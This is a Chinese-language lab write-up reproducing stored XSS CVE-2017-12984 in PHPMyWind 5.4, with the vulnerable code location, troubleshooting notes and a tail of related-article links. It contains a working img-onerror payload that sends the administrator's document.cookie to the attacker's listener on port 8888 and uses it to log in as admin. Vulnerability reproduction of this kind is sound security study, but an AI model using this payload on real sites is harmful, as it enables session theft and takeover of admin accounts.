PHPMyWind5.4存储XSS(CVE-2017-12984)
0x0 环境
操作机:xp 192.168.110.128
目标:win2003 192.168.110.133
目标cms:PHPMyWind5.4
0x11 漏洞介绍
允许恶意访问者在客户留言处插入XSS利用语句,执行JS代码获取cookie,从而获取网站管理员权限。漏洞存在于message_update.php文件中的content参数。
漏洞影响版本:phpMyWind version <= 5.4
0x12 漏洞成因
处理客户留言内容的关键代码在message.php文件的第29行和34行
先看content参数,程序会使用htmlspecialchars() 函数把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,进行过滤,然后存储至数据库中,也就是对数据的入库进行了处理,这里并没有问题。
然后,我们再看看管理员修改留言的处理方式,代码在admin/ message_update.php文件的第26行,跟进$content参数,可以看到直接读取content内容并显示,也就是说数据的出库未进行处理造成XSS漏洞。
0x2 漏洞演示
1.操作机访问目标,首页-留言处输入xss测试代码
<img src=# onerror=alert("hello"); >
2.目标机在后台/admin登陆,打开模块扩展管理-留言模块管理,对留言修改,触发xss,证明漏洞存在
3.操作机获取管理员cookie
代码:
<img src=x onerror=document.body.appendChild(document.createElement('img')).setAttribute('src','http://192.168.110.128:8888/?='+document.cookie); >
通过img标签的图片报错onerror事件将document.cookie获取的Cookie信息发送至xp的8888端口上
4.操作机监听8888端口,当管理员(win2003)修改留言时,nc收到cookie
5.操作机通过得到的cookie登陆后台页面即可以管理员身份登陆
0x3 修复
升级最新版本
0x4 问题总结
复现时,在0x2的第4步出现问题,xp的nc监听不到信息,一开始怀疑是网络问题,数据包没发过来,或者发过来了xp的防火墙挡了,尝试从2003 ping xp,超时,关掉xp防火墙后,ping成功了,但还是监听不到cookie,于是怀疑数据包根本没发,即js没执行,一开始2003用的是ie,看不到网络请求信息,装上火狐后再打开xss的修改留言,发现xp收到了cookie,具体原因未知
有感,xss的成功与否,还和目标使用的浏览器有关
0x5 参考资料
http://www.atomsec.org/%E5%AE%89%E5%85%A8/phpmywind%E5%AD%98%E5%82%A8xss%E6%BC%8F%E6%B4%9E-cve-2017-12984/
https://www.ichunqiu.com/experiment/detail?id=60913&source=1
PHPMyWind5.4存储XSS(CVE-2017-12984)的更多相关文章
- PHPMyWind5.4存储XSS后续getshell提权
0x0 前言 通过留言处的xss,我们可以得到管理员的cookie,进而登陆后台: https://www.cnblogs.com/Rain99-/p/10701769.html 现在要从后台入手,进 ...
- Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散
Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散. 位置在添加好友处 x完之后的效果 点击后触发 ok 借助此存储xss,我们进行worm传播,dz ...
- 91网漏洞打包#越权+爆破+存储xss可打cookie
漏洞一.主站存在登录口爆破 抓包,爆破一下 爆破成功 漏洞二.检测app时一处存储xss 在app登录后 我要提问那里插入xss 然后弹窗 可以打到cookie 漏洞三.app个人资料处平行越权可查看 ...
- 宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell
对于宝塔漏洞复现和练习 0×00 什么是宝塔面板 宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统.一键配置:LAMP / LNMP ,网站,数据库 ...
- node 解决存储xss风险报告
1. 安装 xss模块 npm install xss 2.在 Node.js 中使用 const xss = require("xss"); // 在项目的接口里面添加 let ...
- Dedecms最新版本存储型XSS
由于编辑文章的模板参数 typeid2可控,导致存储XSS发生. dedecms/dede/templets/article_edit.htm页面316-325行代码如下: <tr> &l ...
- 存储型XSS的发现经历和一点绕过思路
再次骚扰 某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛. 之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS! 刚开始来到这个之前挖过 ...
- DVWA(七):XSS(stored)存储型XSS攻击
存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...
- ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
随机推荐
- 实现一个协程版mysql连接池
实现一个协程版的mysql连接池,该连接池支持自动创建最小连接数,自动检测mysql健康:基于swoole的chanel. 最近事情忙,心态也有点不积极.技术倒是没有落下,只是越来越不想写博客了.想到 ...
- 安装和配置Apache服务器(上)
首先,安装软件分安装版和压缩版,压缩版也就是我们现在所说的绿色安装包.安装板和压缩版的区别就是,安装板在安装的时候就已经自动给你配置好环境,压缩版安装之后还要自己配置环境.自己配置环境也是有好处的,知 ...
- 判断用户访问方式为pc or Phone
<scripttype="text/javascript"> (function () { var sUserAgent= navigator.userAgent.to ...
- swift protocol的几种形式
三个关注点:1.形式:2.实现方式:3.使用方式: 一.基本形式: 形式:内部无泛型类型: 实现:只需指定类型和实现相应的功能即可: 使用:可以用在其他类型出现的任何地方: protocol Resp ...
- shiro实战系列(五)之Authentication(身份验证)
建议学习shiro读读官方文档,虽然不一定读的懂,但是建议要大致浏览,心中有个大概,这样对于学习还是有一定帮助 官网地址:https://shiro.apache.org/ Authenticatio ...
- Android源代码下载以及异常查找网站推荐
源代码下载:https://github.com/ 异常查找:http://stackoverflow.com/
- LNMP搭建 源码包
LNMP源码包搭建 linux CentOS-6.5-x86_64-bin-DVD1 nginx 版本1.8.0 下载地址:http://nginx.org/en/download.htm ...
- asp.net mvc session锁问题 (转载)
一.会话状态Session Session用于服务器端状态管理,使用Session之后,每个客户端都可以将实际的数据保存在服务器上,对于每个客户端的数据,将会生成一个对应的唯一的key(保存在客户端) ...
- python之Django实现商城从0到1
dailyfresh-B2Cdailyfresh mall based on B2C model 基于B2C的天天生鲜商城 项目托管地址:https://github.com/Ylisen/daily ...
- test temp
http://img3.cache.netease.com/love/cssjs/20026/script/page/common.jshttp://img3.cache.netease.com/lo ...